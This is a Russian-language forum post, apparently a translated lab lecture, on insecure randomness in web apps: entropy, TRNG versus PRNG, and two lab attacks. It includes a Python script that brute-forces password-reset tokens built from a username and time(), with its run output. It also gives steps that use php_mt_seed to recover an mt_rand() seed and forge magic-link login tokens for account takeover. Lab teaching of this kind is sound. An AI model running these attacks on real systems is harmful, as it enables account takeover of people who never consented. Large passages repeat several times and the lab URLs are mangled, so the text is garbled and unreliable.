D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Как ошибки в генерации случайных значений могут поставить приложение под угрозу.
Приветствую всех! Сегодня я хотел бы поделиться одной интересной лекцией. Я постарался максимально понятно перевести материал: что-то добавил, что-то убрал, и в итоге получилось вот так. Также в лекции присутствуют ссылки, но они вам не подойдут — я оставил их для лучшего понимания материала. Однако, если погуглить, вы сможете найти инструменты или уязвимые приложения для тестирования.
Неустойчивая случайность возникает, когда веб-приложения используют предсказуемые или плохо сгенерированные случайные значения, что делает их уязвимыми к атакам. Случайность играет ключевую роль в защите токенов, идентификаторов сессий и криптографических ключей. Однако ненадежная реализация может позволить предсказывать эти значения, обходить аутентификацию, захватывать сессии или даже расшифровывать конфиденциальные данные.
Случайность
Случайность предполагает отсутствие закономерностей или предсказуемости в данных, что делает её важным элементом систем безопасности. В криптографии, например, истинная случайность обеспечивает защиту от предсказания критически важных данных, таких как ключи, токены и одноразовые числа (nonces). Мы изучим, как производится случайность, а также различия между генераторами истинно случайных чисел (True Random Number Generators, TRNG) и псевдослучайных чисел (Pseudorandom Number Generators, PRNG).
Энтропия
Энтропия отражает уровень случайности или непредсказуемости системы и является важным показателем безопасности. Она используется для оценки стойкости криптографических ключей, токенов и случайных значений. Высокая энтропия указывает на высокую степень неопределённости, затрудняя попытки предугадать или угадать данные. Низкая энтропия, напротив, снижает уровень безопасности и увеличивает уязвимость к атакам, таким как перебор (brute force) или предсказание токенов.
Криптографические ключи
Криптографические ключи представляют собой секретные данные, которые используются в алгоритмах шифрования для обеспечения конфиденциальности, целостности и аутентификации информации. Эти ключи играют важную роль в симметричных и асимметричных методах шифрования. Для предотвращения несанкционированного доступа они должны генерироваться и храниться с соблюдением строгих мер безопасности. Стойкость криптографического ключа зависит от его длины и уровня случайности.
Сессионные токены и уникальные идентификаторы
Сессионные токены и уникальные идентификаторы применяются для управления пользовательскими сессиями и отслеживания взаимодействий в веб-приложениях. Их генерация должна обеспечивать достаточный уровень случайности и уникальности, чтобы исключить возможность их предсказания и перехвата сессий. Надёжное управление и защита таких токенов являются критически важными для обеспечения безопасной аутентификации и авторизации пользователей.
Инициализация (seeding)
Инициализация (seeding) подразумевает использование исходного значения, называемого сидом (seed), для криптографической функции, которая генерирует последовательность чисел, схожих со случайными. Хотя такие последовательности внешне выглядят случайными, они полностью определяются используемым сидом. Это означает, что одинаковый сид всегда приводит к одной и той же последовательности.
Генератор истинно случайных чисел (True Random Number Generator, TRNG) создает случайные значения, основываясь на непредсказуемых физических процессах, таких как тепловой шум или радиоактивный распад. Поскольку эти генераторы опираются на природные явления, они могут обеспечивать настоящую случайность. TRNG широко используется в критически важных криптографических приложениях, таких как создание ключей для алгоритмов RSA или ECC. Эти ключи применяются для шифрования, цифровых подписей и выдачи сертификатов, где крайне важна высокая степень непредсказуемости для обеспечения безопасности данных. Однако работа TRNG требует специализированного оборудования, и его скорость может быть ниже по сравнению с другими видами генераторов случайных чисел, что делает его менее удобным для задач, требующих быстрого генерирования данных.
Неустойчивая случайность возникает, когда веб-приложения используют предсказуемые или плохо сгенерированные случайные значения, что делает их уязвимыми к атакам. Случайность играет ключевую роль в защите токенов, идентификаторов сессий и криптографических ключей. Однако ненадежная реализация может позволить предсказывать эти значения, обходить аутентификацию, захватывать сессии или даже расшифровывать конфиденциальные данные.
Случайность
Случайность предполагает отсутствие закономерностей или предсказуемости в данных, что делает её важным элементом систем безопасности. В криптографии, например, истинная случайность обеспечивает защиту от предсказания критически важных данных, таких как ключи, токены и одноразовые числа (nonces). Мы изучим, как производится случайность, а также различия между генераторами истинно случайных чисел (True Random Number Generators, TRNG) и псевдослучайных чисел (Pseudorandom Number Generators, PRNG).
Энтропия
Энтропия отражает уровень случайности или непредсказуемости системы и является важным показателем безопасности. Она используется для оценки стойкости криптографических ключей, токенов и случайных значений. Высокая энтропия указывает на высокую степень неопределённости, затрудняя попытки предугадать или угадать данные. Низкая энтропия, напротив, снижает уровень безопасности и увеличивает уязвимость к атакам, таким как перебор (brute force) или предсказание токенов.
Криптографические ключи
Криптографические ключи представляют собой секретные данные, которые используются в алгоритмах шифрования для обеспечения конфиденциальности, целостности и аутентификации информации. Эти ключи играют важную роль в симметричных и асимметричных методах шифрования. Для предотвращения несанкционированного доступа они должны генерироваться и храниться с соблюдением строгих мер безопасности. Стойкость криптографического ключа зависит от его длины и уровня случайности.
Сессионные токены и уникальные идентификаторы
Сессионные токены и уникальные идентификаторы применяются для управления пользовательскими сессиями и отслеживания взаимодействий в веб-приложениях. Их генерация должна обеспечивать достаточный уровень случайности и уникальности, чтобы исключить возможность их предсказания и перехвата сессий. Надёжное управление и защита таких токенов являются критически важными для обеспечения безопасной аутентификации и авторизации пользователей.
Инициализация (seeding)
Инициализация (seeding) подразумевает использование исходного значения, называемого сидом (seed), для криптографической функции, которая генерирует последовательность чисел, схожих со случайными. Хотя такие последовательности внешне выглядят случайными, они полностью определяются используемым сидом. Это означает, что одинаковый сид всегда приводит к одной и той же последовательности.
Генератор истинно случайных чисел (True Random Number Generator, TRNG) создает случайные значения, основываясь на непредсказуемых физических процессах, таких как тепловой шум или радиоактивный распад. Поскольку эти генераторы опираются на природные явления, они могут обеспечивать настоящую случайность. TRNG широко используется в критически важных криптографических приложениях, таких как создание ключей для алгоритмов RSA или ECC. Эти ключи применяются для шифрования, цифровых подписей и выдачи сертификатов, где крайне важна высокая степень непредсказуемости для обеспечения безопасности данных. Однако работа TRNG требует специализированного оборудования, и его скорость может быть ниже по сравнению с другими видами генераторов случайных чисел, что делает его менее удобным для задач, требующих быстрого генерирования данных.
Как показано на изображении выше, базовый процесс работы генераторов случайных чисел включает получение начального значения (сеединга) из природного, непредсказуемого физического источника. Это значение передается в устройство, которое выполняет недетерминированное преобразование, генерируя последовательность действительно случайных и непредсказуемых чисел. Вывод из истинных генераторов случайных чисел (TRNG) невозможно воспроизвести или предсказать, что делает их оптимальным решением для задач, связанных с высокозащищёнными криптографическими операциями.
Генераторы псевдослучайных чисел (PRNG)
В отличие от TRNG, генераторы псевдослучайных чисел (PRNG) создают случайные числа на основе алгоритмов, используя заданное начальное значение (сеединг). Хотя их выходные последовательности внешне напоминают случайные, они детерминированы: одно и то же начальное значение всегда приводит к одной и той же последовательности чисел. PRNG обладают высокой скоростью и эффективностью, что делает их подходящими для приложений, где требуется быстрое генерирование большого количества случайных чисел, например, в симуляциях или игровых системах. Однако алгоритмическая природа PRNG представляет уязвимость: если узнать начальное значение или метод его формирования, последовательность становится предсказуемой.
В этой статье будут рассмотрены два ключевых типа PRNG — статистические и криптографические, с акцентом на их отличия и области применения.
Статистические PRNG
Статистические генераторы псевдослучайных чисел (PRNG) разрабатываются для создания числовых последовательностей, которые успешно проходят статистические тесты на случайность, не демонстрируя явных закономерностей. Такие генераторы находят широкое применение в областях, не требующих высокого уровня безопасности, например, в статистическом моделировании, симуляциях или компьютерных играх. Однако их детерминированная природа (то есть возможность воспроизведения последовательности при известном начальном значении) ограничивает их использование в криптографии, где необходима полная непредсказуемость генерируемых чисел.
Криптографически стойкие генераторы псевдослучайных чисел (CSPRNG) разработаны для задач, требующих высокой степени случайности, устойчивой к попыткам предсказания или компрометации. В отличие от статистических PRNG, выходные данные CSPRNG невозможно восстановить обратным методом, даже при наличии части последовательности или информации о внутреннем состоянии генератора. Такие генераторы активно применяются в криптографии для создания ключей шифрования, сессионных токенов и случайных чисел, используемых в протоколах безопасности.
CSPRNG отвечают строгим требованиям криптографической стойкости, исключая возможность предсказания их выходных данных и обеспечивая высокий уровень защиты от атак. Хотя их производительность может быть ниже по сравнению со статистическими PRNG, использование CSPRNG является обязательным в задачах, связанных с обеспечением безопасности, для поддержания целостности и конфиденциальности данных.
В данном контексте рассматривается сценарий, при котором генерация случайных чисел сталкивается с проблемой недостаточной или слабой энтропии. Как уже упоминалось, энтропия характеризует степень непредсказуемости или случайности в системе, которая обычно формируется на основе внешних источников, таких как аппаратные шумы или действия пользователя. При недостаточных или ненадежных источниках энтропии генерируемые случайные значения теряют свою непредсказуемость, что делает их уязвимыми для атак.
Например, если ключ шифрования создается на основе данных с низкой энтропией, таких как временная метка, то можно использовать предсказуемость этой информации для существенного снижения сложности подбора ключа. Аналогично, применение слабых источников энтропии, таких как системное время или предсказуемый ввод данных пользователем, может привести к недостаточной случайности в приложениях, что повышает риски компрометации.
Практический пример
В данном сценарии можно использовать предсказуемость источников энтропии для определения значений, генерируемых случайным образом. Мы рассмотрим, как недостаточный уровень энтропии при создании токенов может привести к уязвимостям в системе безопасности. В качестве примера будет использовано уязвимое веб-приложение, доступное по адресу: http://ran.90/case. Также в системе настроен почтовый сервер, расположенный по адресу: http://mail, через который пользователи получают письма с уникальными ссылками для сброса пароля или входа в систему.
На сайте реализованы функции входа и запроса ссылки для восстановления пароля. В данном случае пользователь с именем victim забыл свой пароль, и наша задача заключается в анализе механизма генерации токенов для сброса пароля, выявлении его слабых мест и использовании этих данных для компрометации учетных записей других пользователей.
Инструкция для выполнения:
Перейдите на сайт по адресу: http://ran.tt_password.php.
В текстовом поле введите имя пользователя victim.
Нажмите кнопку Send Reset Link (Отправить ссылку для сброса).
Далее вы увидите сообщение, указывающее, что на вашу электронную почту отправлено письмо со ссылкой для сброса пароля.
Рассмотрим логику, реализованную на стороне сервера, которая отвечает за создание данного токена. Ниже приведен фрагмент кода, ответственный за генерацию токена для сброса пароля:
PHP: Скопировать в буфер обменаГенераторы псевдослучайных чисел (PRNG)
В отличие от TRNG, генераторы псевдослучайных чисел (PRNG) создают случайные числа на основе алгоритмов, используя заданное начальное значение (сеединг). Хотя их выходные последовательности внешне напоминают случайные, они детерминированы: одно и то же начальное значение всегда приводит к одной и той же последовательности чисел. PRNG обладают высокой скоростью и эффективностью, что делает их подходящими для приложений, где требуется быстрое генерирование большого количества случайных чисел, например, в симуляциях или игровых системах. Однако алгоритмическая природа PRNG представляет уязвимость: если узнать начальное значение или метод его формирования, последовательность становится предсказуемой.
В этой статье будут рассмотрены два ключевых типа PRNG — статистические и криптографические, с акцентом на их отличия и области применения.
Статистические PRNG
Статистические генераторы псевдослучайных чисел (PRNG) разрабатываются для создания числовых последовательностей, которые успешно проходят статистические тесты на случайность, не демонстрируя явных закономерностей. Такие генераторы находят широкое применение в областях, не требующих высокого уровня безопасности, например, в статистическом моделировании, симуляциях или компьютерных играх. Однако их детерминированная природа (то есть возможность воспроизведения последовательности при известном начальном значении) ограничивает их использование в криптографии, где необходима полная непредсказуемость генерируемых чисел.
Криптографически стойкие генераторы псевдослучайных чисел (CSPRNG) разработаны для задач, требующих высокой степени случайности, устойчивой к попыткам предсказания или компрометации. В отличие от статистических PRNG, выходные данные CSPRNG невозможно восстановить обратным методом, даже при наличии части последовательности или информации о внутреннем состоянии генератора. Такие генераторы активно применяются в криптографии для создания ключей шифрования, сессионных токенов и случайных чисел, используемых в протоколах безопасности.
CSPRNG отвечают строгим требованиям криптографической стойкости, исключая возможность предсказания их выходных данных и обеспечивая высокий уровень защиты от атак. Хотя их производительность может быть ниже по сравнению со статистическими PRNG, использование CSPRNG является обязательным в задачах, связанных с обеспечением безопасности, для поддержания целостности и конфиденциальности данных.
В данном контексте рассматривается сценарий, при котором генерация случайных чисел сталкивается с проблемой недостаточной или слабой энтропии. Как уже упоминалось, энтропия характеризует степень непредсказуемости или случайности в системе, которая обычно формируется на основе внешних источников, таких как аппаратные шумы или действия пользователя. При недостаточных или ненадежных источниках энтропии генерируемые случайные значения теряют свою непредсказуемость, что делает их уязвимыми для атак.
Например, если ключ шифрования создается на основе данных с низкой энтропией, таких как временная метка, то можно использовать предсказуемость этой информации для существенного снижения сложности подбора ключа. Аналогично, применение слабых источников энтропии, таких как системное время или предсказуемый ввод данных пользователем, может привести к недостаточной случайности в приложениях, что повышает риски компрометации.
Практический пример
В данном сценарии можно использовать предсказуемость источников энтропии для определения значений, генерируемых случайным образом. Мы рассмотрим, как недостаточный уровень энтропии при создании токенов может привести к уязвимостям в системе безопасности. В качестве примера будет использовано уязвимое веб-приложение, доступное по адресу: http://ran.90/case. Также в системе настроен почтовый сервер, расположенный по адресу: http://mail, через который пользователи получают письма с уникальными ссылками для сброса пароля или входа в систему.
На сайте реализованы функции входа и запроса ссылки для восстановления пароля. В данном случае пользователь с именем victim забыл свой пароль, и наша задача заключается в анализе механизма генерации токенов для сброса пароля, выявлении его слабых мест и использовании этих данных для компрометации учетных записей других пользователей.
Инструкция для выполнения:
Перейдите на сайт по адресу: http://ran.tt_password.php.
В текстовом поле введите имя пользователя victim.
Нажмите кнопку Send Reset Link (Отправить ссылку для сброса).
Далее вы увидите сообщение, указывающее, что на вашу электронную почту отправлено письмо со ссылкой для сброса пароля.
Рассмотрим логику, реализованную на стороне сервера, которая отвечает за создание данного токена. Ниже приведен фрагмент кода, ответственный за генерацию токена для сброса пароля:
Код:
$stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute([':username' => $user_id]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
if ($user) {
$token = $user_id . time();
$update = $db->prepare("UPDATE users SET reset_token = :token WHERE username = :username");
Данный токен формируется путем простого соединения имени пользователя (в данном случае — victim) и текущей временной метки, созданной с использованием функции time().
Войдите в почтовый ящик. Там вы найдете письмо для сброса пароля.
На первый взгляд, это может показаться удобным способом создания уникальных токенов для каждого запроса на сброс пароля. Однако такой подход создает серьезные проблемы с безопасностью.
Exploitation
Низкую энтропию токена для сброса пароля можно использовать, перейдя по следующему URL: http://ran90/case/reset_password.php?token={Username}{timestamp_of_token_generation}. Поскольку токен формируется путем объединения имени пользователя с результатом функции time(), можно предположить, что значение временной метки соответствует моменту создания ссылки для сброса. Это позволяет провести атаку методом перебора, угадывая временные метки, близкие к времени запроса. Такой перебор может быть выполнен вручную, используя метки времени за несколько секунд до или после запроса, или автоматизирован с помощью скрипта.
Ниже представлен скрипт на Python, который принимает имя пользователя и временную метку в качестве аргументов командной строки и выполняет атаку методом перебора токенов, проверяя метки времени в пределах 5 минут до указанной. Для получения текущей метки времени в формате UNIX можно воспользоваться специализированным веб-сайтом.
Временной диапазон можно настроить, изменив значение -300 (в секундах) на любое другое, чтобы сократить время выполнения или протестировать более узкий интервал. Например, значение -600 позволит проверить токены за последние 10 минут вместо 5.
Python: Скопировать в буфер обменаВойдите в почтовый ящик. Там вы найдете письмо для сброса пароля.
На первый взгляд, это может показаться удобным способом создания уникальных токенов для каждого запроса на сброс пароля. Однако такой подход создает серьезные проблемы с безопасностью.
Exploitation
Низкую энтропию токена для сброса пароля можно использовать, перейдя по следующему URL: http://ran90/case/reset_password.php?token={Username}{timestamp_of_token_generation}. Поскольку токен формируется путем объединения имени пользователя с результатом функции time(), можно предположить, что значение временной метки соответствует моменту создания ссылки для сброса. Это позволяет провести атаку методом перебора, угадывая временные метки, близкие к времени запроса. Такой перебор может быть выполнен вручную, используя метки времени за несколько секунд до или после запроса, или автоматизирован с помощью скрипта.
Ниже представлен скрипт на Python, который принимает имя пользователя и временную метку в качестве аргументов командной строки и выполняет атаку методом перебора токенов, проверяя метки времени в пределах 5 минут до указанной. Для получения текущей метки времени в формате UNIX можно воспользоваться специализированным веб-сайтом.
Временной диапазон можно настроить, изменив значение -300 (в секундах) на любое другое, чтобы сократить время выполнения или протестировать более узкий интервал. Например, значение -600 позволит проверить токены за последние 10 минут вместо 5.
Код:
import requests
import sys
# Function to brute force the reset token
def brute_force_token(username, start_timestamp):
url = "http://random.thm:8090/case/reset_password.php"
# Try tokens within a range of -5 minutes
for i in range(-300, 0):
current_timestamp = start_timestamp + i
token = f"{username}{current_timestamp}"
params = {'token': token}
response = requests.get(url, params=params)
# Check if the token is valid
if "Invalid or expired token." not in response.text:
print(f"Correct token identified: {token}")
return token
else:
print(f"Tried token: {token} (Invalid)")
print("No valid token found in the given range.")
return None
if len(sys.argv) != 3:
print("Usage: python exploit.py <username> <unix_timestamp>")
sys.exit(1)
username = sys.argv[1]
start_timestamp = int(sys.argv[2])
brute_force_token(username, start_timestamp)
Разработаем Python-скрипт, предназначенный для проведения атаки методом перебора в системе сброса пароля. После создания и сохранения кода перейдите в веб-приложение, где реализована функция восстановления пароля, и запросите ссылку для сброса пароля пользователя-жертвы. Как только ссылка будет сгенерирована, откройте сайт https://www.unixtimestamp.com/, чтобы зафиксировать текущее значение временной метки, например, (1726645297).
Откройте терминал и введите следующую команду, чтобы определить точный токен, отправленный пользователю-жертве:
Bash: Скопировать в буфер обменаОткройте терминал и введите следующую команду, чтобы определить точный токен, отправленный пользователю-жертве:
Код:
ubuntu@xss$ python3 exploit.py victim 1726645297
Tried token: victim1726644808 (Invalid)
Tried token: victim1726644809 (Invalid)
Tried token: victim1726644810 (Invalid)
Tried token: victim1726644811 (Invalid)
Tried token: victim1726644812 (Invalid)
Correct token identified: victim1726644813
Как только вы определите правильный токен, вы можете просто перейти по URL http://rand090/case/reset_password.php?token=victim{timestamp_of_token_generation} и обновить пароль.
Недостаточная энтропия при генерации токена: В данном случае система использует источники с низкой степенью энтропии, такие как имя пользователя и временная метка, что делает токен предсказуемым. Токены с высокой энтропией обычно создаются с использованием криптографически стойких генераторов случайных чисел (например, random_bytes()), которые обеспечивают высокий уровень непредсказуемости. Использование предсказуемых источников, таких как time(), не гарантирует достаточной энтропии, что упрощает задачу сокращения возможных вариантов токена. Хотя временная метка изменяется каждую секунду, это изменение является предсказуемым и не способствует формированию токена с высокой энтропией. Это позволяет применить метод перебора, угадывая значения временных меток в пределах заданного временного интервала, например, в течение одной или двух минут после создания токена.
Ограниченное пространство поиска: Вторая существенная уязвимость связана с малым пространством поиска токена, которое определяет количество его возможных значений. Чем больше пространство поиска, тем сложнее угадать или подобрать правильный токен. Однако в данном случае, поскольку функция time() обновляется каждую секунду, пространство поиска ограничено. Это позволяет перебрать все возможные временные метки в пределах небольшого временного диапазона, например, за последние 5–10 минут.
Примечание: При выполнении данного упражнения не забудьте обновить страницу с Unix Time Stamp, чтобы получить актуальное значение временной метки.
В данном задании основное внимание уделяется ситуациям, когда предсказуемое начальное значение (seed) применяется для инициализации генераторов псевдослучайных чисел (PRNG). Если начальное значение является слабым или легко предсказуемым, это позволяет воспроизвести всю последовательность псевдослучайных чисел, что создает серьезные уязвимости в системах, зависящих от таких значений.
Примером негативных последствий использования предсказуемого начального значения может служить система CAPTCHA, где случайные значения генерируются для защиты от ботов. Если начальное значение, используемое для инициализации PRNG, предсказуемо, можно заранее вычислить значения CAPTCHA, обходя защиту и получая доступ к защищенным ресурсам без необходимости решения задачи.
Аналогичная проблема возникает в системах, таких как лотереи или игровые приложения, где PRNG определяют исход случайных событий. Если генераторы инициализируются предсказуемыми значениями, например, временными метками, это позволяет манипулировать системой, предсказывая результаты и обеспечивая себе постоянные выигрыши. Эксплуатация предсказуемого начального значения PRNG дает возможность восстановить или воспроизвести последовательность случайных чисел, что нарушает целостность и справедливость системы.
Пример из практики. В данном примере рассматривается, как использование предсказуемых начальных значений для генерации токенов в системе входа через магическую ссылку может привести к компрометации учетной записи. Токен магической ссылки создается с помощью функции PHP mt_rand(), которая инициализируется комбинацией значения CRC32 электронной почты пользователя и случайной константы. Анализируя процесс генерации токена, можно восстановить начальное значение и предсказать действительные токены.
Анализ функции Magic Link.
Начните с посещения веб-приложения по адресу http://rando90/case/ и выберите опцию «Войти с помощью Magic Link».
Ограниченное пространство поиска: Вторая существенная уязвимость связана с малым пространством поиска токена, которое определяет количество его возможных значений. Чем больше пространство поиска, тем сложнее угадать или подобрать правильный токен. Однако в данном случае, поскольку функция time() обновляется каждую секунду, пространство поиска ограничено. Это позволяет перебрать все возможные временные метки в пределах небольшого временного диапазона, например, за последние 5–10 минут.
Примечание: При выполнении данного упражнения не забудьте обновить страницу с Unix Time Stamp, чтобы получить актуальное значение временной метки.
В данном задании основное внимание уделяется ситуациям, когда предсказуемое начальное значение (seed) применяется для инициализации генераторов псевдослучайных чисел (PRNG). Если начальное значение является слабым или легко предсказуемым, это позволяет воспроизвести всю последовательность псевдослучайных чисел, что создает серьезные уязвимости в системах, зависящих от таких значений.
Примером негативных последствий использования предсказуемого начального значения может служить система CAPTCHA, где случайные значения генерируются для защиты от ботов. Если начальное значение, используемое для инициализации PRNG, предсказуемо, можно заранее вычислить значения CAPTCHA, обходя защиту и получая доступ к защищенным ресурсам без необходимости решения задачи.
Аналогичная проблема возникает в системах, таких как лотереи или игровые приложения, где PRNG определяют исход случайных событий. Если генераторы инициализируются предсказуемыми значениями, например, временными метками, это позволяет манипулировать системой, предсказывая результаты и обеспечивая себе постоянные выигрыши. Эксплуатация предсказуемого начального значения PRNG дает возможность восстановить или воспроизвести последовательность случайных чисел, что нарушает целостность и справедливость системы.
Пример из практики. В данном примере рассматривается, как использование предсказуемых начальных значений для генерации токенов в системе входа через магическую ссылку может привести к компрометации учетной записи. Токен магической ссылки создается с помощью функции PHP mt_rand(), которая инициализируется комбинацией значения CRC32 электронной почты пользователя и случайной константы. Анализируя процесс генерации токена, можно восстановить начальное значение и предсказать действительные токены.
Анализ функции Magic Link.
Начните с посещения веб-приложения по адресу http://rando90/case/ и выберите опцию «Войти с помощью Magic Link».
Сайт предоставляет пользователям возможность входа в систему с использованием Magic Link, который отправляется на электронную почту. Введите email в соответствующее поле и нажмите кнопку «Отправить Magic Link».
После отправки вашего электронного письма на экране появится уведомление о том, что на вашу почту отправлена специальная ссылка для входа. Эта ссылка содержит уникальный токен, который позволяет авторизоваться в системе без необходимости ввода пароля.
Для проверки откройте почтовый ящик. Вы найдете письмо с темой "Войти с помощью Magic Link".
В почтовом ящике жертвы вы увидите письмо с magic link. Magic link будет выглядеть примерно следующим образом:
http://ran090/case/magic_link_login.php?token=MTEzNTUwODU0MQ==
Токен (MTEzNTUwODU0MQ==) представляет собой закодированную в формате base64 версию случайного числа, сгенерированного с использованием функции mt_rand() в PHP.
Анализ серверного кода
Теперь, когда мы получили токен Magic Link из письма жертвы, необходимо разобраться в механизме его генерации на стороне сервера. Сервер использует функцию mt_rand() в PHP для создания случайного числа, которое служит основой для формирования токена. Ниже приведен пример серверного кода, отвечающего за генерацию токена:
После отправки вашего электронного письма на экране появится уведомление о том, что на вашу почту отправлена специальная ссылка для входа. Эта ссылка содержит уникальный токен, который позволяет авторизоваться в системе без необходимости ввода пароля.
Для проверки откройте почтовый ящик. Вы найдете письмо с темой "Войти с помощью Magic Link".
В почтовом ящике жертвы вы увидите письмо с magic link. Magic link будет выглядеть примерно следующим образом:
http://ran090/case/magic_link_login.php?token=MTEzNTUwODU0MQ==
Токен (MTEzNTUwODU0MQ==) представляет собой закодированную в формате base64 версию случайного числа, сгенерированного с использованием функции mt_rand() в PHP.
Анализ серверного кода
Теперь, когда мы получили токен Magic Link из письма жертвы, необходимо разобраться в механизме его генерации на стороне сервера. Сервер использует функцию mt_rand() в PHP для создания случайного числа, которое служит основой для формирования токена. Ниже приведен пример серверного кода, отвечающего за генерацию токена:
PHP: Скопировать в буфер обмена
Код:
mt_srand(CONSTANT_VALUE + crc32($email));
$random_number = mt_rand();
$token = base64_encode($random_number);
Когда пользователь запрашивает Magic Link, сервер инициализирует генератор псевдослучайных чисел mt_rand() с использованием комбинации динамических значений. Начальное значение (seed) рассчитывается как сумма CRC32-хэша адреса электронной почты пользователя и фиксированной константы. Эти данные объединяются и передаются в функцию mt_srand(), которая инициализирует генератор псевдослучайных чисел mt_rand() в PHP.
После инициализации генератора сервер создает случайное число с помощью mt_rand(). Это число затем кодируется в формат Base64 и используется для формирования токена, который включается в Magic Link, отправляемый пользователю на электронную почту.
Уязвимости функции mt_rand()
Использование mt_rand() снижает уровень безопасности системы, поскольку этот генератор является детерминированным, и его результаты полностью зависят от заданного начального значения (seed). Если начальное значение становится известным, все последующие значения генератора могут быть легко предсказаны. В отличие от криптографически стойких генераторов случайных чисел, которые используют энтропию из непредсказуемых источников, mt_rand() уязвим к атакам обратной инженерии.
Декодирование токена
Для реализации атаки можно декодировать токен в формате Base64 и получить исходное случайное число, сгенерированное сервером. Это число представляет собой результат работы функции mt_rand(), инициализированной предсказуемым начальным значением. Для декодирования токена можно использовать онлайн-инструменты, такие как Base64 Decode. Например, декодирование токена MTEzNTUwODU0MQ== возвращает число 1135508541. Это значение играет ключевую роль для следующего этапа атаки, так как оно является выходным значением генератора псевдослучайных чисел, зависящего от заранее определенного начального значения.
Эксплуатация уязвимости
Для эксплуатации уязвимости используется инструмент php_mt_seed, предназначенный для восстановления начального значения (seed) функции mt_rand() на основе одного или нескольких результатов работы генератора. Инструмент вычисляет возможные значения seed, которые могли привести к полученному результату.
Инструмент php_mt_seed, оригинальную версию можно загрузить с официального источника.
Для вычисления начального значения необходимо запустить инструмент, указав декодированное число из Base64-токена (например, 1135508541). Пример команды:
Bash: Скопировать в буфер обменаПосле инициализации генератора сервер создает случайное число с помощью mt_rand(). Это число затем кодируется в формат Base64 и используется для формирования токена, который включается в Magic Link, отправляемый пользователю на электронную почту.
Уязвимости функции mt_rand()
Использование mt_rand() снижает уровень безопасности системы, поскольку этот генератор является детерминированным, и его результаты полностью зависят от заданного начального значения (seed). Если начальное значение становится известным, все последующие значения генератора могут быть легко предсказаны. В отличие от криптографически стойких генераторов случайных чисел, которые используют энтропию из непредсказуемых источников, mt_rand() уязвим к атакам обратной инженерии.
Декодирование токена
Для реализации атаки можно декодировать токен в формате Base64 и получить исходное случайное число, сгенерированное сервером. Это число представляет собой результат работы функции mt_rand(), инициализированной предсказуемым начальным значением. Для декодирования токена можно использовать онлайн-инструменты, такие как Base64 Decode. Например, декодирование токена MTEzNTUwODU0MQ== возвращает число 1135508541. Это значение играет ключевую роль для следующего этапа атаки, так как оно является выходным значением генератора псевдослучайных чисел, зависящего от заранее определенного начального значения.
Эксплуатация уязвимости
Для эксплуатации уязвимости используется инструмент php_mt_seed, предназначенный для восстановления начального значения (seed) функции mt_rand() на основе одного или нескольких результатов работы генератора. Инструмент вычисляет возможные значения seed, которые могли привести к полученному результату.
Инструмент php_mt_seed, оригинальную версию можно загрузить с официального источника.
Для вычисления начального значения необходимо запустить инструмент, указав декодированное число из Base64-токена (например, 1135508541). Пример команды:
Код:
root@xss:~/Rooms/InsecureRandomness# ./php_mt_seed 1135508541
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 7165.9 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x30000000 - 0x31ffffff, speed 58.7 Mseeds/s
seed = 0x318ff649 = 831518281 (PHP 7.1.0+)
Found 1, trying 0x38000000 - 0x39ffffff, speed 58.8 Mseeds/s
seed = 0x39dc3504 = 970732804 (PHP 7.1.0+)
Found 2, trying 0x6c000000 - 0x6dffffff, speed 56.0 Mseeds/s
seed = 0x6d8817a7 = 1837635495 (PHP 7.1.0+)
seed = 0x6d8817a7 = 1837635495 (PHP 7.1.0+)
Found 4, trying 0xbe000000 - 0xbfffffff, speed 47.2 Mseeds/s
seed = 0xbe3249b3 = 3190966707 (PHP 7.1.0+)
Found 5, trying 0xfe000000 - 0xffffffff, speed 44.9 Mseeds/s
Found 5
Инструмент php_mt_seed позволяет определить возможные значения начального числа (seed), которые могли быть использованы для генерации случайного числа 1135508541. Время выполнения этой операции зависит от диапазона предполагаемых значений seed и может занимать несколько минут. Поскольку различные значения seed могут приводить к одному и тому же начальному случайному числу, php_mt_seed предоставляет несколько возможных вариантов. Это обусловлено особенностями работы функции mt_rand() при ее инициализации. Для точного определения корректного значения seed необходимо протестировать каждое из предложенных вариантов в соответствующей среде. В данном случае случайное число 1135508541 было сгенерировано с использованием seed-значения 970732804.
После определения правильного seed можно вычислить фиксированное значение, которое сервер использовал для подготовки seed. Для этого из найденного значения seed необходимо вычесть CRC32-хэш строки magi@mail.ra.thm. Для получения точного результата рекомендуется использовать инструмент https://gchq.github.io/CyberChef/#recipe=CRC-32_Checksum()From_Base(16)&ienc=65001&oeol=VT.
После получения значения CRC32, равного 970731467, если вычесть его из определенного значения seed 970732804, мы получим константу, которая в данном случае составляет 1337.
Зная адрес электронной почты целевого пользователя, можно получить доступ к его учетной записи. Используя email, атакующий может вычислить CRC32 от этого адреса, добавить к нему константу 1337 и использовать полученное значение в качестве seed для функции mt_srand(). Это позволяет предсказать точный токен, сгенерированный для целевого пользователя, что дает возможность обойти механизм аутентификации и войти в систему под его учетной записью без необходимости знания пароля.
Скопируйте и вставьте следующий PHP-код в файл с именем magic_link_login.php, а затем выполните команду php -S 0.0.0.0:8181, чтобы запустить встроенный веб-сервер PHP и получить доступ к скрипту. Этот скрипт генерирует 10 токенов на основе seed, состоящего из константы и адреса электронной почты. Скрипт принимает константу и email в качестве входных данных и создает соответствующие токены. Для использования скрипта откройте следующий URL с вашими параметрами:
http://att1/magic_link_login.php?email={email}&constant={constant}
PHP: Скопировать в буфер обменаПосле определения правильного seed можно вычислить фиксированное значение, которое сервер использовал для подготовки seed. Для этого из найденного значения seed необходимо вычесть CRC32-хэш строки magi@mail.ra.thm. Для получения точного результата рекомендуется использовать инструмент https://gchq.github.io/CyberChef/#recipe=CRC-32_Checksum()From_Base(16)&ienc=65001&oeol=VT.
После получения значения CRC32, равного 970731467, если вычесть его из определенного значения seed 970732804, мы получим константу, которая в данном случае составляет 1337.
Зная адрес электронной почты целевого пользователя, можно получить доступ к его учетной записи. Используя email, атакующий может вычислить CRC32 от этого адреса, добавить к нему константу 1337 и использовать полученное значение в качестве seed для функции mt_srand(). Это позволяет предсказать точный токен, сгенерированный для целевого пользователя, что дает возможность обойти механизм аутентификации и войти в систему под его учетной записью без необходимости знания пароля.
